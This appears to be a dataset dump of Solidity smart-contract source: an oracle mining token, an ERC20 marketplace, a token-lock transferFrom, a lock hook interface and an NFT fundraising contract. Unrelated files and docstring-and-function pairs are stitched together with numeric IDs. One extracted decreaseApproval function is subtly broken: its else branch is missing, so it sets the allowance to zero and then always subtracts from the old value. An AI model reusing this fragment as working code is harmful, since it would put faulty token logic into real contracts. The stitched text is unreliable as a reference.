public onlyOwner() { uint _calledTime = now - (now % 86400); uint _payout; for(uint i = 0;i<5;i++){ _payout += _payoutStructure[i]; } require(_payout.mul(86400).div(_timeTarget) <= 25*1e18); require(firstWeekCount <= 9 && (_calledTime - firstDeployedTime) <= 604800 || _calledTime >= (lastDeployedTime + 604800)); if (firstWeekCount <= 9 && (_calledTime - firstDeployedTime) <= 604800){ firstWeekCount++; deployNewOracleHelper(_api, _readFee, _timeTarget, _payoutStructure); } else if (_calledTime >= (lastDeployedTime + 604800)) { lastDeployedTime = _calledTime; deployNewOracleHelper(_api, _readFee, _timeTarget, _payoutStructure); } } /** * @dev Helps Deploy a new oracle * @param _api is the oracle api * @param _readFee is the fee for reading oracle information * @param _timeTarget for the dificulty adjustment * @param _payoutStructure for miners * @return new oracle address */ function deployNewOracleHelper(string _api,uint _readFee,uint _timeTarget,uint[5] _payoutStructure) internal returns(address){ address new_oracle = createClone(dud_Oracle); OracleToken(new_oracle).init(address(this),_readFee,_timeTarget,_payoutStructure); oracle_index[new_oracle] = oracle_list.length; oracle_list.length++; OracleDetails storage _current = oracle_list[oracle_list.length-1]; _current.API = _api; _current.location = new_oracle; emit Deployed(_api, new_oracle); return new_oracle; } /** * @dev Allows for a transfer of tokens to the first 5 _miners that solve the challenge and * updates the total_supply of the token(total_supply is saved in token.sol) * The function is called by the OracleToken.retrievePayoutPool and OracleToken.pushValue. * Only oracles that have this ProofOfWOrkToken address as their master contract can call this * function * @param _miners The five addresses to send tokens to * @param _amount The amount of tokens to send to each address * @param _isMine is true if the timestamp has been mined and miners have been paid out */ function batchTransfer(address[5] _miners, uint256[5] _amount, bool _isMine) external{ require(oracle_index[msg.sender] > 0); uint _paid; for (uint i = 0; i < _miners.length; i++) { if (balanceOf(address(this)) >= _amount[i] && _amount[i] > 0 && balanceOf(_miners[i]).add(_amount[i]) > balanceOf(_miners[i])) { doTransfer(address(this),_miners[i],_amount[i]); _paid += _amount[i]; } } if(_isMine){ total_supply += _paid; } } /** * @dev Allows the OracleToken.RetreiveData to transfer the fee paid to retreive * data back to this contract * @param _from address to transfer from * @param _amount to transfer * @return true after transfer */ function callTransfer(address _from,uint _amount) public returns(bool){ require(oracle_index[msg.sender] > 0); doTransfer(_from,address(this), _amount); return true; } /** * @dev Getter function that gets the oracle API * @param _oracle is the oracle address to look up * @return the API and oracle address */ function getDetails(address _oracle) public view returns(string,address){ OracleDetails storage _current = oracle_list[oracle_index[_oracle]]; return(_current.API,_current.location); } /** * @dev Getter function that gets the number of deployed oracles * @return the oracle count */ function getOracleCount() public view returns(uint){ return oracle_list.length-1; } /** * @dev Getter function that gets the index of the specified deployed oracle * @param _oracle is the oracle address to look up * @return the oracle index */ function getOracleIndex(address _oracle) public view returns(uint){ return oracle_index[_oracle]; } /** *@dev Allows the owner to set a new owner address *@param _new_owner the new owner address */ function setOwner(address _new_owner) public onlyOwner() { owner = _new_owner; } } // File: contracts\OracleToken.sol //Instead of valuePool, can we balances of this address? /** * @title Oracle Token * @dev Oracle contract where miners can submit the proof of work along with the value. * Includes functions for users to read data from, tip the miners and for miners to submit * values and get paid out from the master ProofOfWorkToken contract */ contract OracleToken{ using SafeMath for uint256; /*Variables*/ bytes32 public currentChallenge; //current challenge to be solved uint public timeOfLastProof; // time of last challenge solved uint public timeTarget; //The time between blocks (mined Oracle values) uint public timeCreated;//Time the contract was created uint public count;//Number of miners who have mined this value so far uint public readFee;//Fee in PoWO tokens to read a value uint public payoutTotal;//Mining Reward in PoWo tokens given to all miners per value uint public miningMultiplier;//This times payout total is the mining reward (it goes down each year) uint256 public difficulty; // Difficulty of current block uint[5] public payoutStructure;//The structure of the payout (how much uncles vs winner recieve) address public master;//Address of master ProofOfWorkToken that created this contract mapping(uint => uint) values;//This the time series of values stored by the contract where uint UNIX timestamp is mapped to value mapping(uint => address[5]) minersbyvalue;//This maps the UNIX timestamp to the 5 miners who mined that value mapping(uint => uint) payoutPool;//This is the payout pool for a given timestamp. mapping(bytes32 => mapping(address=>bool)) miners;//This is a boolean that tells you if a given challenge has been completed by a given miner Details[5] first_five; struct Details { uint value; address miner; } /*Events*/ event Mine(address sender,address[5] _miners, uint[5] _values);//Emits upon a succesful value mine, indicates the msg.sender, 5 miners included in block, and the mined value event NewValue(uint _time, uint _value);//Emits upon a successful Mine, indicates the blocktime at point of the mine and the value mined event PoolPayout(address sender,uint _timestamp, address[5] _miners, uint[5] _values);//Emits when a pool is paid out, who is included and the amount(money collected from reads) event ValueAddedToPool(address sender,uint _value,uint _time);//Emits upon someone adding value to a pool; msg.sender, amount added, and timestamp incentivized to be mined event MiningMultiplierChanged(uint _newMultiplier);//Each year, the mining reward decreases by 1/5 of the initial mining reward event DataRetrieved(address _sender, uint _value);//Emits when someone retireves data, this shows the msg.sender and the value retrieved event NonceSubmitted(address _miner, string _nonce, uint _value);//Emits upon each mine (5 total) and shows the miner, nonce, and value submitted /*Constructors*/ /** * @dev Constructor for cloned oracle that sets the passed value as the token to be mineable. * @param _master is the master ProofOfWorkToken.address * @param _readFee is the fee for reading oracle information * @param _timeTarget for the dificulty adjustment * @param _payoutStructure for miners */ constructor(address _master,uint _readFee,uint _timeTarget,uint[5] _payoutStructure) public{ require(_timeTarget > 60); timeOfLastProof = now - now % _timeTarget; timeCreated = now; master = _master; readFee = _readFee; timeTarget = _timeTarget; miningMultiplier = 1e18; payoutStructure = _payoutStructure; currentChallenge = keccak256(abi.encodePacked(timeOfLastProof,currentChallenge, blockhash(block.number - 1))); difficulty = 1; for(uint i = 0;i<5;i++){ payoutTotal += _payoutStructure[i]; } } /** * @dev Constructor for cloned oracle that sets the passed value as the token to be mineable. * @param _master is the master ProofOfWorkToken.address * @param _readFee is the fee for reading oracle information * @param _timeTarget for the dificulty adjustment * @param _payoutStructure for miners */ function init(address _master,uint _readFee,uint _timeTarget,uint[5] _payoutStructure) external { require (timeOfLastProof == 0 && _timeTarget > 60); timeOfLastProof = now - now % _timeTarget; timeCreated = now; master = _master; readFee = _readFee; timeTarget = _timeTarget; miningMultiplier = 1e18; payoutStructure = _payoutStructure; currentChallenge = keccak256(abi.encodePacked(timeOfLastProof,currentChallenge, blockhash(block.number - 1))); difficulty = 1; for(uint i = 0;i<5;i++){ payoutTotal += _payoutStructure[i]; } } /*Functions*/ /** * @dev Proof of work is called by the miner when they submit the solution (proof of work and value) * @param nonce uint submitted by miner * @param value of api query * @return count of values sumbitted so far and the time of the last successful mine */ function proofOfWork(string nonce, uint value) external returns (uint256,uint256) { bytes32 _solution = keccak256(abi.encodePacked(currentChallenge,msg.sender,nonce)); // generate random hash based on input uint _rem = uint(_solution) % 3; bytes32 n; if(_rem == 2){ n = keccak256(abi.encodePacked(_solution)); } else if(_rem ==1){ n = sha256(abi.encodePacked(_solution)); } else{ n = keccak256(abi.encodePacked(ripemd160(abi.encodePacked(_solution)))); } require(uint(n) % difficulty == 0 && value > 0 && miners[currentChallenge][msg.sender] == false); //can we say > 0? I like it forces them to enter a valueS first_five[count].value = value; first_five[count].miner = msg.sender; count++; miners[currentChallenge][msg.sender] = true; uint _payoutMultiplier = 1; emit NonceSubmitted(msg.sender,nonce,value); if(count == 5) { if (now - timeOfLastProof < (timeTarget *60)/100){ difficulty++; } else if (now - timeOfLastProof > timeTarget && difficulty > 1){ difficulty--; } uint i = (now - (now % timeTarget) - timeOfLastProof) / timeTarget; timeOfLastProof = now - (now % timeTarget); uint valuePool; while(i > 0){ valuePool += payoutPool[timeOfLastProof - (i - 1) * timeTarget]; i = i - 1; } if(valuePool >= payoutTotal) { _payoutMultiplier = (valuePool + payoutTotal) / payoutTotal; //solidity should always round down payoutPool[timeOfLastProof] = valuePool % payoutTotal; } else{ payoutPool[timeOfLastProof] = valuePool; } pushValue(timeOfLastProof,_payoutMultiplier); count = 0; currentChallenge = keccak256(abi.encodePacked(nonce, currentChallenge, blockhash(block.number - 1))); // Save hash for next proof } return (count,timeOfLastProof); } /** * @dev Adds the _tip to the valuePool that pays the miners * @param _tip amount to add to value pool * @param _timestamp is the timestamp that will be given the _tip once it is mined. * It should be the time stamp the user wants to ensure gets mined. They can do that * by adding a _tip to insentivize the miners to submit a value for the time stamp. */ function addToValuePool(uint _tip, uint _timestamp) public { ProofOfWorkToken _master = ProofOfWorkToken(master); require(_master.callTransfer(msg.sender,_tip)); uint _time; if(_timestamp == 0){ _time = timeOfLastProof + timeTarget; } else{ _time = _timestamp - (_timestamp % timeTarget); } payoutPool[_time] = payoutPool[_time].add(_tip); emit ValueAddedToPool(msg.sender,_tip,_time);//_time instead of timestamp? } /** * @dev Retrieve payout from the data reads. It pays out the 5 miners. * @param _timestamp for which to retreive the payout from */ function retrievePayoutPool(uint _timestamp) public { uint _payoutMultiplier = payoutPool[_timestamp] / payoutTotal; require (_payoutMultiplier > 0 && values[_timestamp] > 0); uint[5] memory _payout = [payoutStructure[4]*_payoutMultiplier,payoutStructure[3]*_payoutMultiplier,payoutStructure[2]*_payoutMultiplier,payoutStructure[1]*_payoutMultiplier,payoutStructure[0]*_payoutMultiplier]; ProofOfWorkToken(master).batchTransfer(minersbyvalue[_timestamp], _payout,false); emit PoolPayout(msg.sender,_timestamp,minersbyvalue[_timestamp], _payout); } /** * @dev Changes the base miner payout by decreasiung by 1/5 for 5 years. * After 5 years all miners rewards come from data reads. * @return _newTotal after the payout is decreased */ function updatePayoutTotal() public returns(uint _newTotal){ uint yearsSince = (now - timeCreated) / (86400 * 365); if(yearsSince >=5){ miningMultiplier = 0; emit MiningMultiplierChanged(miningMultiplier); } else if (yearsSince >=1){ miningMultiplier = 1e18 * (5 - yearsSince)/5; emit MiningMultiplierChanged(miningMultiplier); } return miningMultiplier; } /** * @dev Retreive value from oracle based on timestamp * @param _timestamp to retreive data/value from * @return value for timestamp submitted */ function retrieveData(uint _timestamp) public returns (uint) { ProofOfWorkToken _master = ProofOfWorkToken(master); require(isData(_timestamp) && _master.callTransfer(msg.sender,readFee)); payoutPool[_timestamp] = payoutPool[_timestamp] + readFee; emit DataRetrieved(msg.sender,values[_timestamp]); return values[_timestamp]; } /** * @dev Gets the 5 miners who mined the value for the specified _timestamp * @param _timestamp is the timestampt to look up miners for */ function getMinersByValue(uint _timestamp) public view returns(address[5]){ return minersbyvalue[_timestamp]; } /** * @dev This function tells you if a given challenge has been completed by a given miner * @param _challenge the challenge to search for * @param _miner address that you want to know if they solved the challenge * @return true if the _miner address provided solved the */ function didMine(bytes32 _challenge,address _miner) public view returns(bool){ return miners[_challenge][_miner]; } /** * @dev Checks if a value exists for the timestamp provided * @param _timestamp to retreive data/value from * @return true if the value exists/is greater than zero */ function isData(uint _timestamp) public view returns(bool){ return (values[_timestamp] > 0); } /** * @dev Getter function for currentChallenge difficulty * @return current challenge and level of difficulty */ function getVariables() external view returns(bytes32, uint){ return (currentChallenge,difficulty); } /** * @dev Gets the a value for the latest timestamp available * @return value for timestamp of last proof of work submited */ function getLastQuery() external returns(uint){ return retrieveData(timeOfLastProof); } /** * @dev Getter function for the payoutPool total for the specified _timestamp * If the _timestamp is not specified(_timestamp=0) it will return the total payoutPool * for the _timestamp being mined * @param _timestamp to look up the total payoutPool value * @return the value of the total payoutPool */ function getValuePoolAt(uint _timestamp) external view returns(uint){ if(_timestamp == 0){ uint _time = timeOfLastProof.add(timeTarget); return payoutPool[_time]; } else{ return payoutPool[_timestamp]; } } /** * @dev This function rewards the first five miners that submit a value * through the proofOfWork function and sorts the value as it is received * so that the median value is * given the highest reward * @param _time is the time/date for the value being provided by the miner * @param _payoutMultiplier is calculated in the proofOfWork function to * allocate the additional miner tip added via the addToValuePool function */ function pushValue(uint _time, uint _payoutMultiplier) internal { Details[5] memory a = first_five; uint[5] memory _payout; for (uint i = 1;i <5;i++){ uint temp = a[i].value; address temp2 = a[i].miner; uint j = i; while(j > 0 && temp < a[j-1].value){ a[j].value = a[j-1].value; a[j].miner = a[j-1].miner; j--; } if(j<i){ a[j].value = temp; a[j].miner= temp2; } } for (i = 0;i <5;i++){ _payout[i] = payoutStructure[i]*_payoutMultiplier*miningMultiplier/1e18; } ProofOfWorkToken(master).batchTransfer([a[0].miner,a[1].miner,a[2].miner,a[3].miner,a[4].miner], _payout,true); values[_time] = a[2].value; minersbyvalue[_time] = [a[0].miner,a[1].miner,a[2].miner,a[3].miner,a[4].miner]; emit Mine(msg.sender,[a[0].miner,a[1].miner,a[2].miner,a[3].miner,a[4].miner], _payout); emit NewValue(timeOfLastProof,a[2].value); } }
This function tells you if a given challenge has been completed by a given miner _challenge the challenge to search for _miner address that you want to know if they solved the challenge return true if the _miner address provided solved the/
function didMine(bytes32 _challenge,address _miner) public view returns(bool){ return miners[_challenge][_miner]; }
938,697
pragma solidity ^0.4.19; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { OwnershipRenounced(owner); owner = address(0); } } contract ERC20Basic { function totalSupply() public view returns(uint256); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns(uint256); function transferFrom(address from, address to, uint256 value) public returns(bool); function approve(address spender, uint256 value) public returns(bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns(uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns(bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue) public returns(bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns(bool) { mintingFinished = true; MintFinished(); return true; } } contract MarketToken is MintableToken { string public name = "Market Token"; string public symbol = "MT"; uint256 public decimals = 18; //uint256 public exchangeRate = 1 * 10 ** 17; uint256 public closingTime; function MarketToken(uint256 _amount) public { mint(msg.sender, _amount); closingTime = now + 4 weeks; } function buyTokens() public payable returns(uint256) { if (now > closingTime) { finishMinting(); return 0; } else { require(owner.balance + msg.value > owner.balance); //uint256 amount = msg.value * exchangeRate; uint256 amount = msg.value; require(balances[owner] >= amount); balances[owner] = balances[owner].sub(amount); balances[msg.sender] = balances[msg.sender].add(amount); Transfer(owner, msg.sender, amount); //Transfer ether to owner //owner.transfer(msg.value); return amount; } } function withdraw(uint256 amount) public { require(amount > 0 && balanceOf(msg.sender) >= amount); require(address(this).balance >= amount); uint256 temp = amount; amount = 0; balances[msg.sender] = balances[msg.sender].sub(temp); msg.sender.transfer(temp); } } contract BestMarket is Ownable { using SafeMath for uint256; struct Product { uint price; string name; string description; string ipfsPath; address seller; } //address public owner; bool public isContractInit; MarketToken public mt; uint public registerTax; uint public fee; uint public numOfSellers; uint public numOfBuyers; Product[] public allProducts; mapping(bytes32 => uint256) public productByName; // uint256 is index from allProducts mapping(bytes32 => bool) public isProductExist; mapping(address => bool) public sellers; mapping(address => bool) public buyers; event RegisterEvent(address indexed addr, uint _registerTax, uint currentTime); event BuyProduct(address indexed addr, uint currentTime, uint price, string productName); function BestMarket() public { } modifier isContractInitialized { require(isContractInit); _; } modifier isSeller { require(sellers[msg.sender] == true || owner == msg.sender); _; } modifier isProductNameFree(string productName) { require(isProductExist[keccak256(productName)] != true); _; } function () public payable { } function init(MarketToken _token) public onlyOwner { require(!isContractInit); isContractInit = true; mt = _token; registerTax = 10 ** 18; fee = 5; //percent } //seller section function userIsSeller() public view returns (bool){ return sellers[msg.sender]; } function registerAsSeller() public isContractInitialized returns(bool) { require(sellers[msg.sender] != true); require(mt.allowance(msg.sender, address(this)) == registerTax); mt.transferFrom(msg.sender, address(this), mt.allowance(msg.sender, address(this))); sellers[msg.sender] = true; numOfSellers = numOfSellers.add(1); RegisterEvent(msg.sender, registerTax, now); return true; } function addProduct(uint _price, string _productName, string _decription, string _ipfsPath) public isContractInitialized isSeller isProductNameFree(_productName) { isProductExist[keccak256(_productName)] = true; allProducts.push(Product({price: _price, name : _productName, description : _decription, ipfsPath : _ipfsPath, seller : msg.sender})); productByName[keccak256(_productName)] = allProducts.length - 1; } // BUYER section function userIsBuyer() public view returns (bool){ return buyers[msg.sender]; } function registerAsBuyer() public isContractInitialized { require(buyers[msg.sender] != true); require(mt.allowance(msg.sender, address(this)) == registerTax); mt.transferFrom(msg.sender, address(this), mt.allowance(msg.sender, address(this))); buyers[msg.sender] = true; numOfBuyers = numOfBuyers.add(1); RegisterEvent(msg.sender, registerTax, now); } function buyProduct(string _productName) public isContractInitialized returns (uint price, string name, string desc, string ipfs) { bytes32 hashedName = keccak256(_productName); require(isProductExist[hashedName]); require(buyers[msg.sender]); uint256 dealFee = allProducts[productByName[hashedName]].price.div(100).mul(fee); uint256 sellerRemainder = allProducts[productByName[hashedName]].price.sub(dealFee); // check fee/price require(mt.allowance(msg.sender, address(this)) == allProducts[productByName[hashedName]].price); // transfer all to this contract mt.transferFrom(msg.sender, address(this), allProducts[productByName[hashedName]].price); mt.transfer(allProducts[productByName[hashedName]].seller, sellerRemainder); BuyProduct(msg.sender, now, allProducts[productByName[hashedName]].price, allProducts[productByName[hashedName]].name); return (allProducts[productByName[hashedName]].price, allProducts[productByName[hashedName]].name, allProducts[productByName[hashedName]].description, allProducts[productByName[hashedName]].ipfsPath); } // view section function getProductPriceSellerAddr(string _productName) public view returns (uint, address) { require(isProductExist[keccak256(_productName)]); return (allProducts[productByName[keccak256(_productName)]].price, allProducts[productByName[keccak256(_productName)]].seller); } function getNumberOfProducts() public view returns (uint) { return allProducts.length; } function getProduct(uint index) public view returns (uint, string, string, string) { require(index >= 0 && index < allProducts.length); return (allProducts[index].price, allProducts[index].name, allProducts[index].description , allProducts[index].ipfsPath); } }
Decrease the amount of tokens that an owner allowed to a spender. approve should be called when allowed[_spender] == 0. To decrement allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) From MonolithDAO Token.sol _spender The address which will spend the funds. _subtractedValue The amount of tokens to decrease the allowance by./
function decreaseApproval( address _spender, uint _subtractedValue) public returns(bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
1,043,265
./full_match/1/0x8b80596660f007342DC590e5C53BbddD2cD550Fb/sources/browser/Formsv2.sol
------------------------------------------------------------------------ Transfer `tokens` from the `from` account to the `to` account The calling account must already have sufficient tokens approve(...)-d for spending from the `from` account and - From account must have sufficient balance to transfer - Spender must have sufficient allowance to transfer - 0 value transfers are allowed ------------------------------------------------------------------------ prevent transfer to 0x0, use burn instead
function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){ require(address(to) != address(0), "Transfer to address 0 not allowed"); require(address(from) != address(0), "Transfer from address 0 not allowed"); require(balances[from] >= tokens, "SENDER: Insufficient balance"); if (walletsLocking[from].lockedTokens > 0){ if(walletsLocking[from].directRelease) directRelease(from); else checkTime(from); } require(balances[from].sub(tokens) >= walletsLocking[from].lockedTokens, "Please wait for tokens to be released"); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); emit Transfer(from,to,tokens); return true; }
3,109,358
./partial_match/8453/0xCD9C9b40D757b56359e19563203D3bc64089638d/sources/contracts/past-versions/PublicLockV13.sol
Functions to be implemented by a tokenURIHook. Lock hooks are configured by calling `setEventHooks` on the lock./
interface ILockTokenURIHook { function tokenURI( address lockAddress, address operator, address owner, uint256 keyId, uint expirationTimestamp ) external view returns (string memory); } }
16,778,702
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./Base58.sol"; contract NftArtForUkraine is ERC2981, IERC1155, ERC1155, ReentrancyGuard, Ownable { using Strings for bytes; string private _uri; string private _contractMetadataURI; uint256 public minPrice = 5*10**16; //0.05ETH bool public mintEnabled = false; address public artManager; uint256 public totalCollected; uint256 public idCounter; mapping(uint256 => uint256) public totalSupply; mapping(uint256 => uint256) public maxSupply; mapping(uint256 => bool) public mintEnabledId; mapping(uint256 => bytes32) public idHash; bool public autoForward = true; mapping(address => bool) public approvedRecipients; address[] public approvedRecipientsList; event NewMinPrice(uint256 oldPrice, uint256 newPrice); event Forwarded(address to, uint256 amount); event NewArt(uint256 id, bytes hash); event Rescued(address token, uint256 amount, address to); event MintingEnabled(bool enable); event MintingEnabledId(uint256 id, bool enable); event Contributed(address from, uint256 amount); constructor(string memory uri_, string memory contractMetadataURI) ERC1155(uri_) { artManager = msg.sender; _uri = uri_; _contractMetadataURI = contractMetadataURI; address recipient = 0x1D45c8fa65F6b18E7dAe04b2efEa332c55696DaA; _setDefaultRoyalty(recipient, 1000); approvedRecipients[recipient] = true; approvedRecipientsList.push(recipient); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, ERC2981, IERC165) returns (bool) { return interfaceId == type(ERC2981).interfaceId || interfaceId == type(IERC1155).interfaceId || super.supportsInterface(interfaceId); } /** * @notice Reverts if the ID does not exist * @param id Token id */ function idExists(uint256 id) internal view { require(idHash[id] != 0, "Provided ID does not exist"); } /** * @notice Allows artManager to add new art piece to the contract * @param hashes Array of IPFS CIDs for metadata representing the art pieces * @return uint256[] Array of newly added ids */ function newArt(bytes[] memory hashes) external onlyArtManager returns (uint256[] memory) { require(hashes.length > 0, "No new art to add"); uint256[] memory result = new uint256[](hashes.length); for(uint256 i=0; i<hashes.length; i++) { uint256 _id = idCounter; bytes memory tmpHash = hashes[i]; bytes32 tmp; assembly { tmp := mload(add(add(tmpHash, 2), 32)) } idHash[_id] = tmp; mintEnabledId[_id] = true; result[i] = _id; idCounter++; emit NewArt(_id, tmpHash); } return result; } /** * @notice Mints given amount of specific art pieces to sender address * @param id Art piece ID * @param amount Amount of tokens to mint */ function mint(uint256 id, uint256 amount, address[] memory to) external payable nonReentrant { require(mintEnabled, "Minting disabled"); idExists(id); require(mintEnabledId[id], "Minting disabled for id"); require(msg.value >= amount * minPrice, "Not enough ETH sent"); uint256 _maxSupply = maxSupply[id]; require(_maxSupply == 0 || _maxSupply > totalSupply[id], "Max supply reached"); totalSupply[id] += amount; totalCollected += msg.value; _mint(msg.sender, id, amount, ""); if (autoForward) { _forwardMulti(to, msg.value); } emit Contributed(msg.sender, msg.value); } /** * @notice Mints art pieces in batch * @param ids Array of art piece IDs to mint * @param amounts Array of amounts of tokens to mint */ function mintBatch( uint256[] memory ids, uint256[] memory amounts, address[] memory to, bytes memory data ) external payable nonReentrant { require(mintEnabled, "Minting disabled"); uint256 totalAmount; for(uint256 i=0; i<amounts.length; i++) { uint256 id = ids[i]; totalAmount += amounts[i]; idExists(id); uint256 _maxSupply = maxSupply[id]; require(_maxSupply == 0 || _maxSupply > totalSupply[id], "Max supply reached"); require(mintEnabledId[id], "Minting disabled for id"); totalSupply[ids[i]] += amounts[i]; } require(msg.value >= totalAmount * minPrice, "Not enough ETH sent"); totalCollected += msg.value; _mintBatch(msg.sender, ids, amounts, data); if (autoForward) { _forwardMulti(to, msg.value); } emit Contributed(msg.sender, msg.value); } /** * @notice Public wrapper of _forward method * @param to recipient address (must be in approvedRecipients) * @param amount amount of ETH to send */ function forward(address to, uint256 amount) public onlyOwner { _forward(to, amount); } /** * @notice Transfers given amount to a given address if the address is approved * @param to recipient address (must be in approvedRecipients) * @param amount amount of ETH to send */ function _forward(address to, uint256 amount) internal { require(approvedRecipients[to], "Not a valid recipient"); require(address(this).balance >= amount, "Not enough ETH"); payable(to).transfer(amount); emit Forwarded(to, amount); } /** * @notice Forward given ETH value equally to multiple approved addresses * @param to List of recipients * @param amount amount of ETH to forward */ function _forwardMulti(address[] memory to, uint256 amount) internal { uint256 toForward = amount / to.length; for(uint256 i=0; i<to.length; i++) { if(i == to.length - 1) { uint256 rest = amount - toForward*to.length; toForward += rest; } _forward(to[i], toForward); } } /** * @notice Splits contract ETH balance among the list of addresses based on given portions * @param recipients Array of recipient addresses * @param portions Array of portions to transfer to recipients in percent (sum must be <= 100) */ function split(address[] memory recipients, uint256[] memory portions) external onlyOwner nonReentrant { require(recipients.length == portions.length, "Recipients and portions do not match"); uint256 sum; for(uint256 i=0; i<portions.length; i++) { sum += portions[i]; } require(sum <= 100, "Cannot distribute more than 100%"); uint256 balance = address(this).balance; for(uint256 i=0; i<recipients.length; i++) { uint256 toSend = balance * portions[i] / 100; _forward(recipients[i], toSend); } } /** * @notice Sets an address is approved recipient * @param to Address to configure * @param enable Whether the address is approved */ function setApprovedRecipient(address to, bool enable) external onlyOwner { require(approvedRecipients[to] != enable, "Already configured"); require(to != address(0), "Cannot approve 0 address"); approvedRecipients[to] = enable; if(enable) { approvedRecipientsList.push(to); } else { for(uint256 i=0; i<approvedRecipientsList.length; i++) { if(approvedRecipientsList[i] == to) { approvedRecipientsList[i] = approvedRecipientsList[approvedRecipientsList.length-1]; approvedRecipientsList.pop(); break; } } } } /** * @notice Sets minimal 